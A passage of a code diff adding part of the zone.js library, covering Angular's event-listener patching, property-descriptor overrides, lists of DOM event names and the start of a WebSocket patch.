(!task.allRemoved) { + return; + } + return nativeRemoveEventListener.call(task.target, task.eventName, task.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, task.options); + }; + var customScheduleNonGlobal = function (task) { + checkIsPassive(task); + return nativeAddEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options); + }; + var customSchedulePrepend = function (task) { + return nativePrependEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options); + }; + var customCancelNonGlobal = function (task) { + return nativeRemoveEventListener.call(task.target, task.eventName, task.invoke, task.options); + }; + var customSchedule = useGlobalCallback ? customScheduleGlobal : customScheduleNonGlobal; + var customCancel = useGlobalCallback ? customCancelGlobal : customCancelNonGlobal; + var compareTaskCallbackVsDelegate = function (task, delegate) { + var typeOfDelegate = typeof delegate; + return (typeOfDelegate === 'function' && task.callback === delegate) || + (typeOfDelegate === 'object' && task.originalDelegate === delegate); + }; + var compare = (patchOptions && patchOptions.diff) ? patchOptions.diff : compareTaskCallbackVsDelegate; + var blackListedEvents = Zone[Zone.__symbol__('BLACK_LISTED_EVENTS')]; + var makeAddListener = function (nativeListener, addSource, customScheduleFn, customCancelFn, returnTarget, prepend) { + if (returnTarget === void 0) { returnTarget = false; } + if (prepend === void 0) { prepend = false; } + return function () { + var target = this || _global; + var eventName = arguments[0]; + var delegate = arguments[1]; + if (!delegate) { + return nativeListener.apply(this, arguments); + } + if (isNode && eventName === 'uncaughtException') { + // don't patch uncaughtException of nodejs to prevent endless loop + return nativeListener.apply(this, arguments); + } + // don't create the bind delegate function for handleEvent + // case here to improve addEventListener performance + // we will create the bind delegate when invoke + var isHandleEvent = false; + if (typeof delegate !== 'function') { + if (!delegate.handleEvent) { + return nativeListener.apply(this, arguments); + } + isHandleEvent = true; + } + if (validateHandler && !validateHandler(nativeListener, delegate, target, arguments)) { + return; + } + var options = arguments[2]; + if (blackListedEvents) { + // check black list + for (var i = 0; i < blackListedEvents.length; i++) { + if (eventName === blackListedEvents[i]) { + return nativeListener.apply(this, arguments); + } + } + } + var capture; + var once = false; + if (options === undefined) { + capture = false; + } + else if (options === true) { + capture = true; + } + else if (options === false) { + capture = false; + } + else { + capture = options ? !!options.capture : false; + once = options ? !!options.once : false; + } + var zone = Zone.current; + var symbolEventNames = zoneSymbolEventNames$1[eventName]; + var symbolEventName; + if (!symbolEventNames) { + // the code is duplicate, but I just want to get some better performance + var falseEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + FALSE_STR; + var trueEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + TRUE_STR; + var symbol = ZONE_SYMBOL_PREFIX + falseEventName; + var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName; + zoneSymbolEventNames$1[eventName] = {}; + zoneSymbolEventNames$1[eventName][FALSE_STR] = symbol; + zoneSymbolEventNames$1[eventName][TRUE_STR] = symbolCapture; + symbolEventName = capture ? symbolCapture : symbol; + } + else { + symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR]; + } + var existingTasks = target[symbolEventName]; + var isExisting = false; + if (existingTasks) { + // already have task registered + isExisting = true; + if (checkDuplicate) { + for (var i = 0; i < existingTasks.length; i++) { + if (compare(existingTasks[i], delegate)) { + // same callback, same capture, same event name, just return + return; + } + } + } + } + else { + existingTasks = target[symbolEventName] = []; + } + var source; + var constructorName = target.constructor['name']; + var targetSource = globalSources[constructorName]; + if (targetSource) { + source = targetSource[eventName]; + } + if (!source) { + source = constructorName + addSource + + (eventNameToString ? eventNameToString(eventName) : eventName); + } + // do not create a new object as task.data to pass those things + // just use the global shared one + taskData.options = options; + if (once) { + // if addEventListener with once options, we don't pass it to + // native addEventListener, instead we keep the once setting + // and handle ourselves. + taskData.options.once = false; + } + taskData.target = target; + taskData.capture = capture; + taskData.eventName = eventName; + taskData.isExisting = isExisting; + var data = useGlobalCallback ? OPTIMIZED_ZONE_EVENT_TASK_DATA : undefined; + // keep taskData into data to allow onScheduleEventTask to access the task information + if (data) { + data.taskData = taskData; + } + var task = zone.scheduleEventTask(source, delegate, data, customScheduleFn, customCancelFn); + // should clear taskData.target to avoid memory leak + // issue, https://github.com/angular/angular/issues/20442 + taskData.target = null; + // need to clear up taskData because it is a global object + if (data) { + data.taskData = null; + } + // have to save those information to task in case + // application may call task.zone.cancelTask() directly + if (once) { + options.once = true; + } + if (!(!passiveSupported && typeof task.options === 'boolean')) { + // if not support passive, and we pass an option object + // to addEventListener, we should save the options to task + task.options = options; + } + task.target = target; + task.capture = capture; + task.eventName = eventName; + if (isHandleEvent) { + // save original delegate for compare to check duplicate + task.originalDelegate = delegate; + } + if (!prepend) { + existingTasks.push(task); + } + else { + existingTasks.unshift(task); + } + if (returnTarget) { + return target; + } + }; + }; + proto[ADD_EVENT_LISTENER] = makeAddListener(nativeAddEventListener, ADD_EVENT_LISTENER_SOURCE, customSchedule, customCancel, returnTarget); + if (nativePrependEventListener) { + proto[PREPEND_EVENT_LISTENER] = makeAddListener(nativePrependEventListener, PREPEND_EVENT_LISTENER_SOURCE, customSchedulePrepend, customCancel, returnTarget, true); + } + proto[REMOVE_EVENT_LISTENER] = function () { + var target = this || _global; + var eventName = arguments[0]; + var options = arguments[2]; + var capture; + if (options === undefined) { + capture = false; + } + else if (options === true) { + capture = true; + } + else if (options === false) { + capture = false; + } + else { + capture = options ? !!options.capture : false; + } + var delegate = arguments[1]; + if (!delegate) { + return nativeRemoveEventListener.apply(this, arguments); + } + if (validateHandler && + !validateHandler(nativeRemoveEventListener, delegate, target, arguments)) { + return; + } + var symbolEventNames = zoneSymbolEventNames$1[eventName]; + var symbolEventName; + if (symbolEventNames) { + symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR]; + } + var existingTasks = symbolEventName && target[symbolEventName]; + if (existingTasks) { + for (var i = 0; i < existingTasks.length; i++) { + var existingTask = existingTasks[i]; + if (compare(existingTask, delegate)) { + existingTasks.splice(i, 1); + // set isRemoved to data for faster invokeTask check + existingTask.isRemoved = true; + if (existingTasks.length === 0) { + // all tasks for the eventName + capture have gone, + // remove globalZoneAwareCallback and remove the task cache from target + existingTask.allRemoved = true; + target[symbolEventName] = null; + } + existingTask.zone.cancelTask(existingTask); + if (returnTarget) { + return target; + } + return; + } + } + } + // issue 930, didn't find the event name or callback + // from zone kept existingTasks, the callback maybe + // added outside of zone, we need to call native removeEventListener + // to try to remove it. + return nativeRemoveEventListener.apply(this, arguments); + }; + proto[LISTENERS_EVENT_LISTENER] = function () { + var target = this || _global; + var eventName = arguments[0]; + var listeners = []; + var tasks = findEventTasks(target, eventNameToString ? eventNameToString(eventName) : eventName); + for (var i = 0; i < tasks.length; i++) { + var task = tasks[i]; + var delegate = task.originalDelegate ? task.originalDelegate : task.callback; + listeners.push(delegate); + } + return listeners; + }; + proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER] = function () { + var target = this || _global; + var eventName = arguments[0]; + if (!eventName) { + var keys = Object.keys(target); + for (var i = 0; i < keys.length; i++) { + var prop = keys[i]; + var match = EVENT_NAME_SYMBOL_REGX.exec(prop); + var evtName = match && match[1]; + // in nodejs EventEmitter, removeListener event is + // used for monitoring the removeListener call, + // so just keep removeListener eventListener until + // all other eventListeners are removed + if (evtName && evtName !== 'removeListener') { + this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, evtName); + } + } + // remove removeListener listener finally + this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, 'removeListener'); + } + else { + var symbolEventNames = zoneSymbolEventNames$1[eventName]; + if (symbolEventNames) { + var symbolEventName = symbolEventNames[FALSE_STR]; + var symbolCaptureEventName = symbolEventNames[TRUE_STR]; + var tasks = target[symbolEventName]; + var captureTasks = target[symbolCaptureEventName]; + if (tasks) { + var removeTasks = tasks.slice(); + for (var i = 0; i < removeTasks.length; i++) { + var task = removeTasks[i]; + var delegate = task.originalDelegate ? task.originalDelegate : task.callback; + this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options); + } + } + if (captureTasks) { + var removeTasks = captureTasks.slice(); + for (var i = 0; i < removeTasks.length; i++) { + var task = removeTasks[i]; + var delegate = task.originalDelegate ? task.originalDelegate : task.callback; + this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options); + } + } + } + } + if (returnTarget) { + return this; + } + }; + // for native toString patch + attachOriginToPatched(proto[ADD_EVENT_LISTENER], nativeAddEventListener); + attachOriginToPatched(proto[REMOVE_EVENT_LISTENER], nativeRemoveEventListener); + if (nativeRemoveAllListeners) { + attachOriginToPatched(proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER], nativeRemoveAllListeners); + } + if (nativeListeners) { + attachOriginToPatched(proto[LISTENERS_EVENT_LISTENER], nativeListeners); + } + return true; + } + var results = []; + for (var i = 0; i < apis.length; i++) { + results[i] = patchEventTargetMethods(apis[i], patchOptions); + } + return results; +} +function findEventTasks(target, eventName) { + var foundTasks = []; + for (var prop in target) { + var match = EVENT_NAME_SYMBOL_REGX.exec(prop); + var evtName = match && match[1]; + if (evtName && (!eventName || evtName === eventName)) { + var tasks = target[prop]; + if (tasks) { + for (var i = 0; i < tasks.length; i++) { + foundTasks.push(tasks[i]); + } + } + } + } + return foundTasks; +} +function patchEventPrototype(global, api) { + var Event = global['Event']; + if (Event && Event.prototype) { + api.patchMethod(Event.prototype, 'stopImmediatePropagation', function (delegate) { return function (self, args) { + self[IMMEDIATE_PROPAGATION_SYMBOL] = true; + // we need to call the native stopImmediatePropagation + // in case in some hybrid application, some part of + // application will be controlled by zone, some are not + delegate && delegate.apply(self, args); + }; }); + } +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +function patchCallbacks(api, target, targetName, method, callbacks) { + var symbol = Zone.__symbol__(method); + if (target[symbol]) { + return; + } + var nativeDelegate = target[symbol] = target[method]; + target[method] = function (name, opts, options) { + if (opts && opts.prototype) { + callbacks.forEach(function (callback) { + var source = targetName + "." + method + "::" + callback; + var prototype = opts.prototype; + if (prototype.hasOwnProperty(callback)) { + var descriptor = api.ObjectGetOwnPropertyDescriptor(prototype, callback); + if (descriptor && descriptor.value) { + descriptor.value = api.wrapWithCurrentZone(descriptor.value, source); + api._redefineProperty(opts.prototype, callback, descriptor); + } + else if (prototype[callback]) { + prototype[callback] = api.wrapWithCurrentZone(prototype[callback], source); + } + } + else if (prototype[callback]) { + prototype[callback] = api.wrapWithCurrentZone(prototype[callback], source); + } + }); + } + return nativeDelegate.call(target, name, opts, options); + }; + api.attachOriginToPatched(target[method], nativeDelegate); +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/* + * This is necessary for Chrome and Chrome mobile, to enable + * things like redefining `createdCallback` on an element. + */ +var zoneSymbol$1 = Zone.__symbol__; +var _defineProperty = Object[zoneSymbol$1('defineProperty')] = Object.defineProperty; +var _getOwnPropertyDescriptor = Object[zoneSymbol$1('getOwnPropertyDescriptor')] = + Object.getOwnPropertyDescriptor; +var _create = Object.create; +var unconfigurablesKey = zoneSymbol$1('unconfigurables'); +function propertyPatch() { + Object.defineProperty = function (obj, prop, desc) { + if (isUnconfigurable(obj, prop)) { + throw new TypeError('Cannot assign to read only property \'' + prop + '\' of ' + obj); + } + var originalConfigurableFlag = desc.configurable; + if (prop !== 'prototype') { + desc = rewriteDescriptor(obj, prop, desc); + } + return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag); + }; + Object.defineProperties = function (obj, props) { + Object.keys(props).forEach(function (prop) { + Object.defineProperty(obj, prop, props[prop]); + }); + return obj; + }; + Object.create = function (obj, proto) { + if (typeof proto === 'object' && !Object.isFrozen(proto)) { + Object.keys(proto).forEach(function (prop) { + proto[prop] = rewriteDescriptor(obj, prop, proto[prop]); + }); + } + return _create(obj, proto); + }; + Object.getOwnPropertyDescriptor = function (obj, prop) { + var desc = _getOwnPropertyDescriptor(obj, prop); + if (desc && isUnconfigurable(obj, prop)) { + desc.configurable = false; + } + return desc; + }; +} +function _redefineProperty(obj, prop, desc) { + var originalConfigurableFlag = desc.configurable; + desc = rewriteDescriptor(obj, prop, desc); + return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag); +} +function isUnconfigurable(obj, prop) { + return obj && obj[unconfigurablesKey] && obj[unconfigurablesKey][prop]; +} +function rewriteDescriptor(obj, prop, desc) { + // issue-927, if the desc is frozen, don't try to change the desc + if (!Object.isFrozen(desc)) { + desc.configurable = true; + } + if (!desc.configurable) { + // issue-927, if the obj is frozen, don't try to set the desc to obj + if (!obj[unconfigurablesKey] && !Object.isFrozen(obj)) { + _defineProperty(obj, unconfigurablesKey, { writable: true, value: {} }); + } + if (obj[unconfigurablesKey]) { + obj[unconfigurablesKey][prop] = true; + } + } + return desc; +} +function _tryDefineProperty(obj, prop, desc, originalConfigurableFlag) { + try { + return _defineProperty(obj, prop, desc); + } + catch (error) { + if (desc.configurable) { + // In case of errors, when the configurable flag was likely set by rewriteDescriptor(), let's + // retry with the original flag value + if (typeof originalConfigurableFlag == 'undefined') { + delete desc.configurable; + } + else { + desc.configurable = originalConfigurableFlag; + } + try { + return _defineProperty(obj, prop, desc); + } + catch (error) { + var descJson = null; + try { + descJson = JSON.stringify(desc); + } + catch (error) { + descJson = desc.toString(); + } + console.log("Attempting to configure '" + prop + "' with descriptor '" + descJson + "' on object '" + obj + "' and got error, giving up: " + error); + } + } + else { + throw error; + } + } +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +/** + * @fileoverview + * @suppress {globalThis} + */ +var globalEventHandlersEventNames = [ + 'abort', + 'animationcancel', + 'animationend', + 'animationiteration', + 'auxclick', + 'beforeinput', + 'blur', + 'cancel', + 'canplay', + 'canplaythrough', + 'change', + 'compositionstart', + 'compositionupdate', + 'compositionend', + 'cuechange', + 'click', + 'close', + 'contextmenu', + 'curechange', + 'dblclick', + 'drag', + 'dragend', + 'dragenter', + 'dragexit', + 'dragleave', + 'dragover', + 'drop', + 'durationchange', + 'emptied', + 'ended', + 'error', + 'focus', + 'focusin', + 'focusout', + 'gotpointercapture', + 'input', + 'invalid', + 'keydown', + 'keypress', + 'keyup', + 'load', + 'loadstart', + 'loadeddata', + 'loadedmetadata', + 'lostpointercapture', + 'mousedown', + 'mouseenter', + 'mouseleave', + 'mousemove', + 'mouseout', + 'mouseover', + 'mouseup', + 'mousewheel', + 'orientationchange', + 'pause', + 'play', + 'playing', + 'pointercancel', + 'pointerdown', + 'pointerenter', + 'pointerleave', + 'pointerlockchange', + 'mozpointerlockchange', + 'webkitpointerlockerchange', + 'pointerlockerror', + 'mozpointerlockerror', + 'webkitpointerlockerror', + 'pointermove', + 'pointout', + 'pointerover', + 'pointerup', + 'progress', + 'ratechange', + 'reset', + 'resize', + 'scroll', + 'seeked', + 'seeking', + 'select', + 'selectionchange', + 'selectstart', + 'show', + 'sort', + 'stalled', + 'submit', + 'suspend', + 'timeupdate', + 'volumechange', + 'touchcancel', + 'touchmove', + 'touchstart', + 'touchend', + 'transitioncancel', + 'transitionend', + 'waiting', + 'wheel' +]; +var documentEventNames = [ + 'afterscriptexecute', 'beforescriptexecute', 'DOMContentLoaded', 'freeze', 'fullscreenchange', + 'mozfullscreenchange', 'webkitfullscreenchange', 'msfullscreenchange', 'fullscreenerror', + 'mozfullscreenerror', 'webkitfullscreenerror', 'msfullscreenerror', 'readystatechange', + 'visibilitychange', 'resume' +]; +var windowEventNames = [ + 'absolutedeviceorientation', + 'afterinput', + 'afterprint', + 'appinstalled', + 'beforeinstallprompt', + 'beforeprint', + 'beforeunload', + 'devicelight', + 'devicemotion', + 'deviceorientation', + 'deviceorientationabsolute', + 'deviceproximity', + 'hashchange', + 'languagechange', + 'message', + 'mozbeforepaint', + 'offline', + 'online', + 'paint', + 'pageshow', + 'pagehide', + 'popstate', + 'rejectionhandled', + 'storage', + 'unhandledrejection', + 'unload', + 'userproximity', + 'vrdisplyconnected', + 'vrdisplaydisconnected', + 'vrdisplaypresentchange' +]; +var htmlElementEventNames = [ + 'beforecopy', 'beforecut', 'beforepaste', 'copy', 'cut', 'paste', 'dragstart', 'loadend', + 'animationstart', 'search', 'transitionrun', 'transitionstart', 'webkitanimationend', + 'webkitanimationiteration', 'webkitanimationstart', 'webkittransitionend' +]; +var mediaElementEventNames = ['encrypted', 'waitingforkey', 'msneedkey', 'mozinterruptbegin', 'mozinterruptend']; +var ieElementEventNames = [ + 'activate', + 'afterupdate', + 'ariarequest', + 'beforeactivate', + 'beforedeactivate', + 'beforeeditfocus', + 'beforeupdate', + 'cellchange', + 'controlselect', + 'dataavailable', + 'datasetchanged', + 'datasetcomplete', + 'errorupdate', + 'filterchange', + 'layoutcomplete', + 'losecapture', + 'move', + 'moveend', + 'movestart', + 'propertychange', + 'resizeend', + 'resizestart', + 'rowenter', + 'rowexit', + 'rowsdelete', + 'rowsinserted', + 'command', + 'compassneedscalibration', + 'deactivate', + 'help', + 'mscontentzoom', + 'msmanipulationstatechanged', + 'msgesturechange', + 'msgesturedoubletap', + 'msgestureend', + 'msgesturehold', + 'msgesturestart', + 'msgesturetap', + 'msgotpointercapture', + 'msinertiastart', + 'mslostpointercapture', + 'mspointercancel', + 'mspointerdown', + 'mspointerenter', + 'mspointerhover', + 'mspointerleave', + 'mspointermove', + 'mspointerout', + 'mspointerover', + 'mspointerup', + 'pointerout', + 'mssitemodejumplistitemremoved', + 'msthumbnailclick', + 'stop', + 'storagecommit' +]; +var webglEventNames = ['webglcontextrestored', 'webglcontextlost', 'webglcontextcreationerror']; +var formEventNames = ['autocomplete', 'autocompleteerror']; +var detailEventNames = ['toggle']; +var frameEventNames = ['load']; +var frameSetEventNames = ['blur', 'error', 'focus', 'load', 'resize', 'scroll', 'messageerror']; +var marqueeEventNames = ['bounce', 'finish', 'start']; +var XMLHttpRequestEventNames = [ + 'loadstart', 'progress', 'abort', 'error', 'load', 'progress', 'timeout', 'loadend', + 'readystatechange' +]; +var IDBIndexEventNames = ['upgradeneeded', 'complete', 'abort', 'success', 'error', 'blocked', 'versionchange', 'close']; +var websocketEventNames = ['close', 'error', 'open', 'message']; +var workerEventNames = ['error', 'message']; +var eventNames = globalEventHandlersEventNames.concat(webglEventNames, formEventNames, detailEventNames, documentEventNames, windowEventNames, htmlElementEventNames, ieElementEventNames); +function filterProperties(target, onProperties, ignoreProperties) { + if (!ignoreProperties || ignoreProperties.length === 0) { + return onProperties; + } + var tip = ignoreProperties.filter(function (ip) { return ip.target === target; }); + if (!tip || tip.length === 0) { + return onProperties; + } + var targetIgnoreProperties = tip[0].ignoreProperties; + return onProperties.filter(function (op) { return targetIgnoreProperties.indexOf(op) === -1; }); +} +function patchFilteredProperties(target, onProperties, ignoreProperties, prototype) { + // check whether target is available, sometimes target will be undefined + // because different browser or some 3rd party plugin. + if (!target) { + return; + } + var filteredProperties = filterProperties(target, onProperties, ignoreProperties); + patchOnProperties(target, filteredProperties, prototype); +} +function propertyDescriptorPatch(api, _global) { + if (isNode && !isMix) { + return; + } + if (Zone[api.symbol('patchEvents')]) { + // events are already been patched by legacy patch. + return; + } + var supportsWebSocket = typeof WebSocket !== 'undefined'; + var ignoreProperties = _global['__Zone_ignore_on_properties']; + // for browsers that we can patch the descriptor: Chrome & Firefox + if (isBrowser) { + var internalWindow = window; + var ignoreErrorProperties = isIE ? [{ target: internalWindow, ignoreProperties: ['error'] }] : []; + // in IE/Edge, onProp not exist in window object, but in WindowPrototype + // so we need to pass WindowPrototype to check onProp exist or not + patchFilteredProperties(internalWindow, eventNames.concat(['messageerror']), ignoreProperties ? ignoreProperties.concat(ignoreErrorProperties) : ignoreProperties, ObjectGetPrototypeOf(internalWindow)); + patchFilteredProperties(Document.prototype, eventNames, ignoreProperties); + if (typeof internalWindow['SVGElement'] !== 'undefined') { + patchFilteredProperties(internalWindow['SVGElement'].prototype, eventNames, ignoreProperties); + } + patchFilteredProperties(Element.prototype, eventNames, ignoreProperties); + patchFilteredProperties(HTMLElement.prototype, eventNames, ignoreProperties); + patchFilteredProperties(HTMLMediaElement.prototype, mediaElementEventNames, ignoreProperties); + patchFilteredProperties(HTMLFrameSetElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties); + patchFilteredProperties(HTMLBodyElement.prototype, windowEventNames.concat(frameSetEventNames), ignoreProperties); + patchFilteredProperties(HTMLFrameElement.prototype, frameEventNames, ignoreProperties); + patchFilteredProperties(HTMLIFrameElement.prototype, frameEventNames, ignoreProperties); + var HTMLMarqueeElement_1 = internalWindow['HTMLMarqueeElement']; + if (HTMLMarqueeElement_1) { + patchFilteredProperties(HTMLMarqueeElement_1.prototype, marqueeEventNames, ignoreProperties); + } + var Worker_1 = internalWindow['Worker']; + if (Worker_1) { + patchFilteredProperties(Worker_1.prototype, workerEventNames, ignoreProperties); + } + } + var XMLHttpRequest = _global['XMLHttpRequest']; + if (XMLHttpRequest) { + // XMLHttpRequest is not available in ServiceWorker, so we need to check here + patchFilteredProperties(XMLHttpRequest.prototype, XMLHttpRequestEventNames, ignoreProperties); + } + var XMLHttpRequestEventTarget = _global['XMLHttpRequestEventTarget']; + if (XMLHttpRequestEventTarget) { + patchFilteredProperties(XMLHttpRequestEventTarget && XMLHttpRequestEventTarget.prototype, XMLHttpRequestEventNames, ignoreProperties); + } + if (typeof IDBIndex !== 'undefined') { + patchFilteredProperties(IDBIndex.prototype, IDBIndexEventNames, ignoreProperties); + patchFilteredProperties(IDBRequest.prototype, IDBIndexEventNames, ignoreProperties); + patchFilteredProperties(IDBOpenDBRequest.prototype, IDBIndexEventNames, ignoreProperties); + patchFilteredProperties(IDBDatabase.prototype, IDBIndexEventNames, ignoreProperties); + patchFilteredProperties(IDBTransaction.prototype, IDBIndexEventNames, ignoreProperties); + patchFilteredProperties(IDBCursor.prototype, IDBIndexEventNames, ignoreProperties); + } + if (supportsWebSocket) { + patchFilteredProperties(WebSocket.prototype, websocketEventNames, ignoreProperties); + } +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +Zone.__load_patch('util', function (global, Zone, api) { + api.patchOnProperties = patchOnProperties; + api.patchMethod = patchMethod; + api.bindArguments = bindArguments; + api.patchMacroTask = patchMacroTask; + // In earlier version of zone.js (<0.9.0), we use env name `__zone_symbol__BLACK_LISTED_EVENTS` to + // define which events will not be patched by `Zone.js`. + // In newer version (>=0.9.0), we change the env name to `__zone_symbol__UNPATCHED_EVENTS` to keep + // the name consistent with angular repo. + // The `__zone_symbol__BLACK_LISTED_EVENTS` is deprecated, but it is still be supported for + // backwards compatibility. + var SYMBOL_BLACK_LISTED_EVENTS = Zone.__symbol__('BLACK_LISTED_EVENTS'); + var SYMBOL_UNPATCHED_EVENTS = Zone.__symbol__('UNPATCHED_EVENTS'); + if (global[SYMBOL_UNPATCHED_EVENTS]) { + global[SYMBOL_BLACK_LISTED_EVENTS] = global[SYMBOL_UNPATCHED_EVENTS]; + } + if (global[SYMBOL_BLACK_LISTED_EVENTS]) { + Zone[SYMBOL_BLACK_LISTED_EVENTS] = Zone[SYMBOL_UNPATCHED_EVENTS] = + global[SYMBOL_BLACK_LISTED_EVENTS]; + } + api.patchEventPrototype = patchEventPrototype; + api.patchEventTarget = patchEventTarget; + api.isIEOrEdge = isIEOrEdge; + api.ObjectDefineProperty = ObjectDefineProperty; + api.ObjectGetOwnPropertyDescriptor = ObjectGetOwnPropertyDescriptor; + api.ObjectCreate = ObjectCreate; + api.ArraySlice = ArraySlice; + api.patchClass = patchClass; + api.wrapWithCurrentZone = wrapWithCurrentZone; + api.filterProperties = filterProperties; + api.attachOriginToPatched = attachOriginToPatched; + api._redefineProperty = _redefineProperty; + api.patchCallbacks = patchCallbacks; + api.getGlobalObjects = function () { return ({ + globalSources: globalSources, + zoneSymbolEventNames: zoneSymbolEventNames$1, + eventNames: eventNames, + isBrowser: isBrowser, + isMix: isMix, + isNode: isNode, + TRUE_STR: TRUE_STR, + FALSE_STR: FALSE_STR, + ZONE_SYMBOL_PREFIX: ZONE_SYMBOL_PREFIX, + ADD_EVENT_LISTENER_STR: ADD_EVENT_LISTENER_STR, + REMOVE_EVENT_LISTENER_STR: REMOVE_EVENT_LISTENER_STR + }); }; +}); + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +function eventTargetLegacyPatch(_global, api) { + var _a = api.getGlobalObjects(), eventNames = _a.eventNames, globalSources = _a.globalSources, zoneSymbolEventNames = _a.zoneSymbolEventNames, TRUE_STR = _a.TRUE_STR, FALSE_STR = _a.FALSE_STR, ZONE_SYMBOL_PREFIX = _a.ZONE_SYMBOL_PREFIX; + var WTF_ISSUE_555 = 'Anchor,Area,Audio,BR,Base,BaseFont,Body,Button,Canvas,Content,DList,Directory,Div,Embed,FieldSet,Font,Form,Frame,FrameSet,HR,Head,Heading,Html,IFrame,Image,Input,Keygen,LI,Label,Legend,Link,Map,Marquee,Media,Menu,Meta,Meter,Mod,OList,Object,OptGroup,Option,Output,Paragraph,Pre,Progress,Quote,Script,Select,Source,Span,Style,TableCaption,TableCell,TableCol,Table,TableRow,TableSection,TextArea,Title,Track,UList,Unknown,Video'; + var NO_EVENT_TARGET = 'ApplicationCache,EventSource,FileReader,InputMethodContext,MediaController,MessagePort,Node,Performance,SVGElementInstance,SharedWorker,TextTrack,TextTrackCue,TextTrackList,WebKitNamedFlow,Window,Worker,WorkerGlobalScope,XMLHttpRequest,XMLHttpRequestEventTarget,XMLHttpRequestUpload,IDBRequest,IDBOpenDBRequest,IDBDatabase,IDBTransaction,IDBCursor,DBIndex,WebSocket' + .split(','); + var EVENT_TARGET = 'EventTarget'; + var apis = []; + var isWtf = _global['wtf']; + var WTF_ISSUE_555_ARRAY = WTF_ISSUE_555.split(','); + if (isWtf) { + // Workaround for: https://github.com/google/tracing-framework/issues/555 + apis = WTF_ISSUE_555_ARRAY.map(function (v) { return 'HTML' + v + 'Element'; }).concat(NO_EVENT_TARGET); + } + else if (_global[EVENT_TARGET]) { + apis.push(EVENT_TARGET); + } + else { + // Note: EventTarget is not available in all browsers, + // if it's not available, we instead patch the APIs in the IDL that inherit from EventTarget + apis = NO_EVENT_TARGET; + } + var isDisableIECheck = _global['__Zone_disable_IE_check'] || false; + var isEnableCrossContextCheck = _global['__Zone_enable_cross_context_check'] || false; + var ieOrEdge = api.isIEOrEdge(); + var ADD_EVENT_LISTENER_SOURCE = '.addEventListener:'; + var FUNCTION_WRAPPER = '[object FunctionWrapper]'; + var BROWSER_TOOLS = 'function __BROWSERTOOLS_CONSOLE_SAFEFUNC() { [native code] }'; + // predefine all __zone_symbol__ + eventName + true/false string + for (var i = 0; i < eventNames.length; i++) { + var eventName = eventNames[i]; + var falseEventName = eventName + FALSE_STR; + var trueEventName = eventName + TRUE_STR; + var symbol = ZONE_SYMBOL_PREFIX + falseEventName; + var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName; + zoneSymbolEventNames[eventName] = {}; + zoneSymbolEventNames[eventName][FALSE_STR] = symbol; + zoneSymbolEventNames[eventName][TRUE_STR] = symbolCapture; + } + // predefine all task.source string + for (var i = 0; i < WTF_ISSUE_555.length; i++) { + var target = WTF_ISSUE_555_ARRAY[i]; + var targets = globalSources[target] = {}; + for (var j = 0; j < eventNames.length; j++) { + var eventName = eventNames[j]; + targets[eventName] = target + ADD_EVENT_LISTENER_SOURCE + eventName; + } + } + var checkIEAndCrossContext = function (nativeDelegate, delegate, target, args) { + if (!isDisableIECheck && ieOrEdge) { + if (isEnableCrossContextCheck) { + try { + var testString = delegate.toString(); + if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) { + nativeDelegate.apply(target, args); + return false; + } + } + catch (error) { + nativeDelegate.apply(target, args); + return false; + } + } + else { + var testString = delegate.toString(); + if ((testString === FUNCTION_WRAPPER || testString == BROWSER_TOOLS)) { + nativeDelegate.apply(target, args); + return false; + } + } + } + else if (isEnableCrossContextCheck) { + try { + delegate.toString(); + } + catch (error) { + nativeDelegate.apply(target, args); + return false; + } + } + return true; + }; + var apiTypes = []; + for (var i = 0; i < apis.length; i++) { + var type = _global[apis[i]]; + apiTypes.push(type && type.prototype); + } + // vh is validateHandler to check event handler + // is valid or not(for security check) + api.patchEventTarget(_global, apiTypes, { vh: checkIEAndCrossContext }); + Zone[api.symbol('patchEventTarget')] = !!_global[EVENT_TARGET]; + return true; +} + +/** + * @license + * Copyright Google Inc. All Rights Reserved. + * + * Use of this source code is governed by an MIT-style license that can be + * found in the LICENSE file at https://angular.io/license + */ +// we have to patch the instance since the proto is non-configurable +function apply(api, _global) { + var _a = api.getGlobalObjects(), ADD_EVENT_LISTENER_STR = _a.ADD_EVENT_LISTENER_STR, REMOVE_EVENT_LISTENER_STR = _a.REMOVE_EVENT_LISTENER_STR; + var WS = _global.WebSocket; + // On Safari window.EventTarget doesn't exist so need to patch WS add/removeEventListener + // On older Chrome, no need since EventTarget was already patched + if (!_global.EventTarget) { + api.patchEventTarget(_global, [WS.prototype]); + } + _global.WebSocket = function (x, y) { + var socket = arguments.length > 1 ? new WS(x, y) : new WS(x); + var proxySocket; + var proxySocketProto; + // Safari 7.0 has non-configurable own 'onmessage' and friends properties on the socket instance + var onmessageDesc = 